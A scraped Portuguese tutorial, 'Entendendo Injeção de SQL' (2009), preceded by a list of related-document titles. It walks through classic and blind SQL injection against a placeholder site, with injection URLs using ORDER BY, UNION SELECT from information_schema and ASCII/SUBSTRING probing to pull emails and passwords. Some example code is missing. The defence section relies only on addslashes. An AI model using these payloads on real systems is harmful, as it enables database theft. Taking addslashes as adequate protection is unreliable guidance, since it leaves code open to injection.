Entendendo Injeção de SQL



Documentos relacionados
VIII. VARIÁVEIS. Tabela I ARQUITETURA DA MEMÓRIA. 0x0000 0x34 0x0001 0xB0 0x0002 0x23. 0xFFFF 0x00

UFSM COLÉGIO AGRÍCOLA DE FREDERICO WESTPHALEN CURSO SUPERIOR DE TECNOLOGIA EM SISTEMAS PARA INTERNET. Programação para Internet I

Manual de Referência de Código de Barras

PHP INTEGRAÇÃO COM MYSQL PARTE 2

Segurança em aplicações web: pequenas ideias, grandes resultados Prof. Alex Camargo

CODIFICADORES / DECODIFICADORES

CODE IGNITER INSTALAÇÃO & BANCO DE DADOS

FAÇA FÁCIL: DRIVER IGS PARA COMUNICAÇÃO DE PROTOCOLOS PROPRIETÁRIOS INTRODUÇÃO

3. No painel da direita, dê um clique com o botão direito do mouse em qualquer espaço livre (área em branco).

Procedimentos para Reinstalação do Sisloc

JDBC Java Database Connectivity

Manual de Referência de Código de Barras

ECD1200 Equipamento de Consulta de Dados KIT DE DESENVOLVIMENTO

Trabalhando com conexão ao banco de dados MySQL no Lazarus. Prof. Vitor H. Migoto de Gouvêa Colégio IDESA 2011

Ameaças, riscos e vulnerabilidades Cont. Objetivos

Em um sistema de numeração de base b qualquer, um número positivo é representado pelo polinômio:

Prof. Carlos Majer Aplicações Corporativas UNICID

CRIANDO UM BANCO DE DADOS

Atualização Volare 17 Release 010

Como acessar o novo webmail da Educação? Manual do Usuário. 15/9/2009 Gerencia de Suporte, Redes e Novas Tecnologias Claudia M.S.

Tolerância a Falhas em sistemas distribuídos (programação)

Introdução à Informática

Desenvolvendo Websites com PHP

Criando um script simples

SISTEMAS OPERACIONAIS ABERTOS Prof. Ricardo Rodrigues Barcelar

15/8/2007 Gerencia de Tecnologia da Informação Claudia M.S. Tomaz

8. Outros tipos de Transação (Modo de Transação de Autoconfirmação e Modo Implícito)

RESTAURAÇÃO E BACKUP DE BANCO DE DADOS FIREBIRD

Este Procedimento Operacional Padrão explica a melhor forma de se utilizar os filtros no Sistema TOTVS RM. Índice

Manual QuotServ Todos os direitos reservados 2006/2007

QUALIDATA Soluções em Informática. Módulo CIEE com convênio empresas

AULA 2 INTERAÇÃO COM O BANCO DE DADOS

LÓGICA DE PROGRAMAÇÃO. Professor Celso Masotti

Programação Orientada a Objetos com PHP & MySQL Cookies e Sessões. Prof. MSc. Hugo Souza

Passo a passo da instalação do certificado da AC Raiz da Sefaz. Certificado AC Raiz Sefaz AL

Manual de Instalação e Utilização

SISTEMAS DIGITAIS Prof. Ricardo Rodrigues Barcelar

USANDO O ROUNDCUBE WEBMAIL

Manual do Usuário. Integrador FC Store V ACSN Desenvolvimento de Software do Brasil Ltda. Av. Dom Pedro II, 1211 Salto SP

Revisando sintaxes SQL e criando programa de pesquisa. Prof. Vitor H. Migoto de Gouvêa Colégio IDESA 2011

Auxiliar de instalação (Português Brasileiro) Primeiros passos

Noções de. Microsoft SQL Server. Microsoft SQL Server

AULA APLICAÇÕES PARA WEB SESSÕES E LOGIN E SENHA

Programação Orientada a Objetos com PHP & MySQL Sistema Gerenciador de Banco de Dados: Introdução e configuração de bases de dados com Postgre e MySQL

Programação WEB. Prof. André Gustavo Duarte de Almeida docente.ifrn.edu.br/andrealmeida. Aula III Introdução PHP

Iniciando o MySQL Query Brower

Programação WEB II. PHP e Banco de Dados. progweb2@thiagomiranda.net. Thiago Miranda dos Santos Souza

Lição 1 - Criação de campos calculados em consultas

XSS - CROSS-SITE SCRIPTING

Caso já seja usuário do SCAW siga as instruções a partir da página X.

Segurança de Acesso a Banco de Dados no MS SQL Server

Aula 04. Código BCD, Códigos Alfa-numéricos e Sistemas de Detecção de Erros

Revisão: Introdução. - Integração com o AutoManager; 1 Atualização de versão do banco de dados PostgreSQL

Como conectar-se à rede Sem Fio (Wireless) da UNISC. Pré-Requisitos:

Registro e Acompanhamento de Chamados

Segurança em Sistemas Web. Addson A. Costa

AULA 4 VISÃO BÁSICA DE CLASSES EM PHP

1. Tela de Acesso pg Cadastro pg Abas de navegação pg Abas dados cadastrais pg Aba grupo de usuários pg.

BH PARK Software de Estacionamento

Como conectar-se à rede Sem Fio (Wireless) da UNISC. Pré-Requisitos:

Manual de Operação do Sistema de Tickets Support Suite

Manual SAGe Versão 1.2 (a partir da versão )

ASSOCIAÇÃO CRISTÃ DE MOÇOS DO RIO GRANDE DO SUL DEPARTAMENTO DE TECNOLOGIA DA INFORMAÇÃO

cartórios as funcionalidades disponíveis em todas as três Centrais de Informação (RCTO, CEP e CESDI) e servir como apoio nas ações diárias.

PgAdmin. O pgadmin é um software gráfico para administração do SGBD PostgreSQL disponível para Windows e UNIX.

Manual Operacional SIGA

Introdução ao SQL Avançado

MANUAL HELP-DESK DATACOM AUTOMAÇÕES

Voltado para novos usuários, este capítulo fornece uma instrução para edição de Leiaute do SILAS e suas funções.

WecDB WecDB Consulta Web Facilitada ao Banco de Dados

Nome: n.º WEB Série 2B 2C 2D 2E Barueri, 17/08/2009 2ª Postagem Disciplina: Gerenciamento e Estrutura de Banco de Dados Professor: Márcio

Análise de Dados do Financeiro

8VDQGR5HSRUW0DQDJHUFRP&ODULRQH3RVWJUH64/ -XOLR&HVDU3HGURVR 8VDQGRSDUkPHWURV

Ministério da Educação Secretaria de Educação Profissional e Tecnológica Instituto Federal de Educação, Ciência e Tecnologia do Rio Grande do Sul

Procedimentos para Instalação do Sisloc

MANUAL TISS Versão

Sumário 1. SOBRE O NFGoiana DESKTOP Apresentação Informações do sistema Acessando o NFGoiana Desktop

Manual de Instalação... 2 RECURSOS DESTE RELÓGIO REGISTRANDO O ACESSO Acesso através de cartão de código de barras:...

Função E. Excel 2007 Avançado. Sintaxe: Onde: Objetivo : 22 anos ou mais e casadas maiores de 21 anos.

TECNOLOGIA WEG II PHP com SGBD MYSQL

Listando itens em ComboBox e gravando os dados no Banco de Dados MySQL.

Como funcionam os comandos de SQL no Logic Basic Por Alan Oliveira

Conceitos básicos da linguagem C

Nova Versão CRM Treinamento Supervisor Comercial

DarkStat para BrazilFW

Emissão de Nota Fiscal de Serviço Eletrônica

Módulo e-rede Prestashop v1.0. Manual de. Instalação do Módulo. estamos todos ligados

LINEAR EQUIPAMENTOS RUA SÃO JORGE, TELEFONE: SÃO CAETANO DO SUL - SP - CEP

Aula 2. Objetivos Conceitos; Instalação do Text Pad; Entendendo o código java do AloMundo1 Codificação do AloMundo2,AloMundo3 e AloMundo4.

CONFIGURAÇÃO Cobian Backup Programa gratuito e de qualidade para realizar seus backups automáticos

Memória Flash. PdP. Autor: Tiago Lone Nível: Básico Criação: 11/12/2005 Última versão: 18/12/2006. Pesquisa e Desenvolvimento de Produtos

Manipulação de Dados em PHP (Visualizar, Inserir, Atualizar e Excluir) Parte 2

PROGRAMA DE GERENCIAMENTO DOS AMPLIFICADORES MR 4.50D-XT MR 6.50D-XT MR 6.80-XT Rev. 2.3 de 29/01/2014

Follow-Up Acompanhamento Eletrônico de Processos (versão 3.0) Manual do Sistema. 1. Como acessar o sistema Requisitos mínimos e compatibilidade

Manual Administrador - Mídia System

1ª PARTE DIÁRIOS ELETRÔNICOS

UNIVERSIDADE FEDERAL DO RIO GRANDE DO NORTE ESCOLA AGRÍCOLA DE JUNDIAÍ EAJ - PRONATEC / REDE etec MÓDULO III DESENVOLVIMENTO PROFESSOR ADDSON COSTA

Upload e Download de Arquivos. Ao programador Morfik, cabe implementar em sua aplicação os mecanismos gerenciem todo o processo acima.

Transcrição:

Entendendo Injeção de SQL Autor K4m1k451 < k4m1k451@gmail.com bere_bad@hotmail.com > 18/05/2009

Sumário: ---[ 0x00 Introdução... 4 ---[ 0x01 Desmistificando as single quotes... 4 ---[ 0x02 Injetando... 7 ---[ 0x001 Aplicação Vulnerável... 7 ---[ 0x002 Verificando se a aplicação é vulnerável... 8 ---[ 0x003 Funções e parâmetros importantes... 9 ---[ 0x004 Explorando... 10 ---[ 0x004a Bypassando a aplicação... 10 ---[ 0x004c Exibindo colunas vulneráveis... 11 ---[ 0x004d Retornando nome do banco de dados e usuário... 12 ---[ 0x004e Obtendo nomes de tabelas e colunas... 13 ---[ 0x03 Injeção de SQL as cegas (Blind SQLi)... 14 ---[ 0x001 Verificando se a aplicação é vulnerável... 14 ---[ 0x002 Funções e parâmetros importantes... 14 ---[ 0x003 Explorando... 16 ---[ 0x003a Obtendo nome do banco de dados... 16 ---[ 0x003b Obtendo nomes de tabelas e colunas... 18 ---[ 0x003c Obtendo dados das colunas email e passwrod... 20 ---[ 0x03 Solução... 20 ---[ 0x04 Considerações finais... 21 ---[ 0x05 Agradecimentos... 21 ---[ 0x06 Referências... 21

---[ 0x00 Introdução Atualmente, devido ao alto nível do tráfego de informações na web, surge a necessidade de profissionais de segurança capacitados para o desenvolvimento de aplicações seguras, com esse objetivo é que trabalharemos aqui a técnica de Injeção de SQL. A linguagem SQL do inglês (Strutured Query Language) é usada como um meio de inter-relação com um banco de dados seja ele PostgreSQL, SQLite, MSSQL, MySQL o qual usaremos para os nossos exemplos, entre outros. Um ataque deste tipo consiste na injeção de dados de um cliente para a aplicação. Se efetuado com sucesso pode ler dados sensíveis do banco de dados, ou seja, é um tipo de ataque no qual comandos são injetados no banco de dados para afetar a execução de comandos predefinidos (UPDATE, INSERT, DELETE,SELECT). Visando estes aspectos, é que abordaremos com exemplos práticos o funcionamento desta famosa técnica. Este texto é direcionado àqueles que se familiarizam com PHP e MySQL, e/ou tem a curiosidade de aprender como com funciona uma injeção de SQL. ---[ 0x01 Desmistificando as single quotes Para trabalhar com este conceito precisa-se antes definir o que é uma string. E, string é um conjunto de caracteres, delimitada, claro, por aspas simples (single quotes) ou aspas. Então a questão é: Quando inserimos um caractere especial no final de uma url o que acontece? O MySQL não consegue interpretar a solicitação, então retorna uma erro de sintaxe ou um warning através do PHP. Mas a acepção do single quote somente acontece por que por padrão o PHP não trata os caracteres especiais de forma adequada. Vamos aos exemplos:

Ex.: Comportamento normal mysql> select * from table where id = '1'; +----------------+----------+ email pass +----------------+----------+ call@i.com 666A +----------------+----------+ 1 row in set (0.00 sec) Ex.: Comportamento anômalo mysql> select * from table where id = '1''; '> Aqui o MySQL solicita o fechamento do single quote Acontece que, quando inserimos uma aspas simples extra o MySQL como bom entendedor solicita o fechamento da mesma e, aguarda até que isso seja feito. mysql> select * from table where id = '1''; '> '; Após resposta a solicitação, a operação é concluída. +----------------+----------+ email pass +----------------+----------+ call@i.com 666A +----------------+----------+ 1 row in set, 2 warnings (0.00 sec) Nota-se que, o banco de dados somente responde de forma adequada a números pares de aspas simples, lógico. Mas como é lógico também, se inserimos mais uma delas ficaremos com três, então como é que funciona se o MySQL só interpreta números pares, digamos assim. O comentário de linha -- estes dois tracinhos pode nos ajudar. Como assim? Notem a query normal.

Quando inserimos dados na url, eles são englobados às aspas simples que envolvem o número 1 (um). A lógica é inserir uma aspas simples extra, executar uma query maliciosa e eliminar a aspas simples. Vamos entender melhor. Quando inserimos uma aspas simples juntamente com o comando SQL o que acontece? Esta substitui a original, e a ultima engloba toda a query, mas como existem três delas recebemos um erro. Para resolvê-lo simplesmente inserimos um comentário de linha no final da url que vai ignorar o ultimo caractere. Resumindo, precisamos inserir uma single quote, executar uma query maliciosa e ignorar a single quote que automaticamente vai para o final da query.

Passemos então à parte pratica. ---[ 0x02 Injetando Bom, é sabido que esta vulnerabilidade é causada pela filtragem incorreta dos dados inseridos pelo cliente. A partir de então, passemos aos primeiros passos. ---[ 0x001 Aplicação Vulnerável SQL source:

PHP source: Este código, como é observado, conecta ao banco de dados (linha 8) verifica se a variável id é igual a 1 (um) e, se for verdadeiro faz uma consulta ao banco e expõe os dados (linha 12-24). Caso a variável id seja diferente de um retorna uma mensagem de erro (linha 24-27). ---[ 0x002 Verificando se a aplicação é vulnerável Então, verificando o código, veremos um erro na manipulação da função $_GET['id'], na variável id, possibilitando a injeção de códigos maliciosos. Segue abaixo parte vulnerável do código:

Para testar se a aplicação é realmente vulnerável simplesmente inserimos uma aspas simples no final da url. http://www.k4m1k451.com/sql.php?id=1 desta forma obteremos o retorno: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /usr/local/www/data-dist/sqlinj/csql.php on line 26 ---[ 0x003 Funções e parâmetros Importantes Neste sub-tópico faremos o levantamento de algumas funções e parâmetros importantes para o melhor entendimento da posterior exploração da falha. Haja vista os nomes são bastante sugestivos. UNION este parâmetro faz a união de duas seleções, ou melhor, dois SELECT s. Ex.: SELECT `nome`,`senha` FROM `cads` UNION SELECT `user`,`password` FROM other_table; CONCAT aqui concatenamos o resultado de uma consulta. Ex.: SELECT CONCAT(nome,0x23,sobrenome) FROM table; LOAD_FILE esta função permite carregar determinados arquivos, desde que possuam os privilégios necessários. Ex.: SELECT LOAD_FILE( /etc/master ); DATABASE a função retorna o nome do banco de dados USER esta função retorna o nome do usuário do banco de dados

---[ 0x004 Explorando Como já foi dito, o objetivo aqui é bypassar a checagem de dados: Objetivando com isso conseguir obter todas as informações disponíveis. Segue abaixo, passo a passo de como fazer a exploração. ---[ 0x004a Bypassando a aplicação Por padrão a aplicação somente exibe os dados, se o id for igual a 1 (um), como já foi dito. Se tentarmos um id diferente recebemos a mensagem ERROR. Agora tentemos burlar a aplicação

Exploração bem sucedida. ---[ 0x004b Obtendo número de colunas http://www.vul.com/index.php?id=1'+order+by+1--+ TRUE http://www.vul.com/index.php?id=1'+order+by+2--+ TRUE http://www.vul.com/index.php?id=1'+order+by+3--+ TRUE http://www.vul.com/index.php?id=1'+order+by+4--+ TRUE http://www.vul.com/index/php?id=1'+order+by+5--+ TRUE http://www.vul.com/index.php?id=1'+order+by+6--+ FALSE, aqui temos um warning ou a exibição incorreta da pagina. Após os testes conclui-se que a tabela possui cinco colunas, pois o MySQL gera um erro quando o numero de colunas é excedido. Passemos ao próximo teste. ---[ 0x004c Exibindo colunas vulneráveis

Onde os números de 1 a 5 são o número de colunas e os sinais de mais (+), omitidos anteriormente são espaços. A partir deste teste obtemos o número das colunas vulneráveis, neste caso as colunas 2 e 3. ---[ 0x004d Retornando nome do banco de dados e usuário Como temos duas colunas vulneráveis: numero 2 e 3 usamos as funções citadas acima uma em cada coluna.

---[ 0x004e Obtendo nomes de tabelas e colunas http://www.vul.com/index.php?id=1'+union+all+select+1,table_name, 3,4,5+FROM+information_schema.tables--+ Encontramos nossa tabela de nome cads, entre outras. Aqui temos o retorno do nome das colunas id,"produtos","price","email","password" Finalmente obtemos emails e senhas.

---[ 0x03 Injeção de SQL as cegas (Blind SQLi) O blind SQL injection funciona da mesma forma que o SQLi tradicional, sendo a principal diferença entre ambas é a necessidade de analisar os resultados sem visualizar os erros, devido estarem desabilitados no php.ini. Por isso este é um caso que da um pouco mais de trabalho para ser explorado e exige um pouco mais de tempo. Usaremos como exemplo o mesmo código postado anteriormente. ---[ 0x001 Verificando se a aplicação é vulnerável A exploração de um blindsql é baseada em retornos TRUE e FALSE. Então utilizaremos aqui o operador lógico AND. http://www.vul.com/index.php?id=1 +AND+1=1-- QUERY:SELECT * FROM cads WHERE id='1' AND 1=1-- ' Então temos o retorno verdadeiro, isso por que o AND somente retorna TRUE se as duas opções forem verdadeiras, desta forma a pagina carrega normalmente. Testemos novamente. http://www.vul.com/index.php?id=1 +AND+1=0--+ QUERY:SELECT * FROM cads WHERE id='1' AND 1=0-- ' Desta forma obtemos um retorno FALSE, conclui-se que a consulta não exibe os dados incorretamente: APLICAÇÃO VULNERÁVEL. ---[ 0x002 Funções e parâmetros importantes Mencionaremos aqui algumas funções e parâmetros importantes para o entendimento desta técnica.

ASCII Com esta função convertemos caracteres ascii em decimal. Segue lista de caracteres. The decimal set: 0 NUL 1 SOH 2 STX 3 ETX 4 EOT 5 ENQ 6 ACK 7 BEL 8 BS 9 HT 10 NL 11 VT 12 NP 13 CR 14 SO 15 SI 16 DLE 17 DC1 18 DC2 19 DC3 20 DC4 21 NAK 22 SYN 23 ETB 24 CAN 25 EM 26 SUB 27 ESC 28 FS 29 GS 30 RS 31 US 32 SP 33! 34 " 35 # 36 $ 37 % 38 & 39 ' 40 ( 41 ) 42 * 43 + 44, 45-46. 47 / 48 0 49 1 50 2 51 3 52 4 53 5 54 6 55 7 56 8 57 9 58 : 59 ; 60 < 61 = 62 > 63? 64 @ 65 A 66 B 67 C 68 D 69 E 70 F 71 G 72 H 73 I 74 J 75 K 76 L 77 M 78 N 79 O 80 P 81 Q 82 R 83 S 84 T 85 U 86 V 87 W 88 X 89 Y 90 Z 91 [ 92 \ 93 ] 94 ^ 95 _ 96 ` 97 a 98 b 99 c 100 d 101 e 102 f 103 g 104 h 105 i 106 j 107 k 108 l 109 m 110 n 111 o 112 p 113 q 114 r 115 s 116 t 117 u 118 v 119 w 120 x 121 y 122 z 123 { 124 125 } 126 ~ 127 DEL Ex.: mysql> select ascii("s"); +--------------+ ascii("s") +--------------+ 83 +--------------+ 1 row in set (0.00 sec) mysql> select ascii("q"); +--------------+ ascii("q") +--------------+ 81 +--------------+ 1 row in set (0.00 sec) mysql> select ascii("l"); +--------------+ ascii("l") +--------------+ 76 +--------------+ 1 row in set (0.00 sec) SUBSTRING Basicamente esta função seleciona e exibe parte de uma string de acordo com a posição selecionada. Ex.:

mysql> select substring("sql",1,1); +----------------------------+ substring("sql",1,1) +----------------------------+ S +----------------------------+ 1 row in set (0.00 sec) mysql> select substring("sql",2,1); +----------------------------+ substring("sql",2,1) +----------------------------+ Q +----------------------------+ 1 row in set (0.00 sec) mysql> select substring("sql",3,1); +----------------------------+ substring("sql",3,1) +----------------------------+ L +----------------------------+ 1 row in set (0.00 sec) LIMIT Este parâmetro será necessária para limitarmos nossa pesquisa na exibição do número de tabelas e colunas. Ex.: mysql> select * from cads limit 1; +----+-----------+--------+ id Usuario Pss +----+-----------+--------+ 1 Ak4 abc +----+-----------+--------+ 1 row in set (0.00 sec) mysql> select * from cads limit 1,1; +----+-----------+--------+ id Usuario Pss +----+-----------+--------+ 2 c0d4 def +----+-----------+--------+ 1 row in set (0.00 sec) mysql> select * from cads limit 2,1; +----+-----------+--------+ id Usuario Pss +----+-----------+--------+ 3 hack ghia +----+-----------+--------+ 1 row in set (0.00 sec ---[ 0x003 Explorando Para efetuar os testes com o script é necessário que a diretiva display_errors esteja definida como Off no php.ini. Como o retorno obtido será um número decimal haverá a necessidade da utilização de operadores matemáticos como: maior que, menor que e igualdade (<,>,=), para nos orientarmos na recepção dos dados. Após isso passemos à exploração. ---[ 0x003a Obtendo nome do banco de dados

Entendendo: Se o primeiro caractere, do nome do banco de dados, for MAIOR QUE 83 ascii o retorno será TRUE, então a pagina é exibida normalmente. Testemos novamente: Como o primeiro caractere esperado não é MAIOR QUE 84 recebemos um retorno FALSE, o que faz com que a pagina não seja exibida normalmente. Testemos mais uma vez:

Como é possível notar, o retorno do nome do banco de dados é 84 ascii, que representa o caractere T. Haja vista, é possível fazer o mesmo procedimento para receber o segundo e terceiro caracteres, somente alterando o argumento de posicionamento da função SUBSTRING. Obs.: O mesmo procedimento pode ser utilizado para obter o nome do usuário de banco de dados. ---[ 0x003b Obtendo nomes de tabelas e colunas Esta é uma das partes que exige mais tempo pois, a tabela banco de dados information_schema contém todos os registros do banco de dados. Entendendo: Com essa consulta, percebe-se que o retorno é TRUE e que o primeiro caractere em é MAIOR QUE 66 ascii.

Como o testes executados MAIOR QUE 66 igual a TRUE e MAIOR QUE 67 igual a FALSE, nota-se que o caractere da primeira tabela é igual a 67. Obs.: Para obter os nomes das outras tabelas altera-se o manipuladores de posicionamento do parâmetro LIMIT. Suponhamos que a tabela de nome cads foi encontrada nesta consulta, vamos agora pegar os dados. Com isso, sabemos que o primeiro caractere da terceira coluna da tabela cads, é 101 ascii equivalente a e de email. Neste exemplo obtemos o primeiro caractere da quarta coluna, que é 112 ascii, equivalente a p de password. Para obter os caracteres seguintes de ambos exemplos basta alterar o manipulador de posições da função SUBSTRING.

---[ 0x003c Obtendo dados das colunas email e passwrod Aqui obtemos o primeiro caractere do conteúdo da coluna email. 99 ascii = c. E no exemplo seguinte o primeiro caractere da coluna passowrd. Enfim, estes são os passos básicos pra se obter dados sensíveis de um banco de dados com blindsqli, percebe-se por que pode demorar um pouco mais. ---[ 0x03 Solução A prevenção deste tipo de ataque, acontece a partir da filtragem correta dos dados emitidos pelo cliente. A configuração do php.ini ajuda bastante.

A função addslashes ajuda-nos com esse pequeno problema. Sintaxe: Ela tem a função de retornar uma string com barras invertidas (escapar) antes dos caracteres especiais. Estes caracteres são aspas simples ( ), aspas duplas ( ), barra invertida (\) e o caractere nulo (NULL byte). ---[ 0x04 Considerações finais Não basta conhecer algumas técnicas de prevenção, é preciso muito mais que isso para promover um ataque e se proteger dele. A malicia é uma arte. FIM. ---[ 0x05 Agradecimentos 0ut0fBound, c3ll1, c0d3_z3r0 ---[ 0x06 Referências [0x01] http://www.milw0rm.com [0x02] http://www.owasp.org [0x03] http://dev.mysql.com [0x04] http://www.htmlstaff.org [0x05] http://br.php.net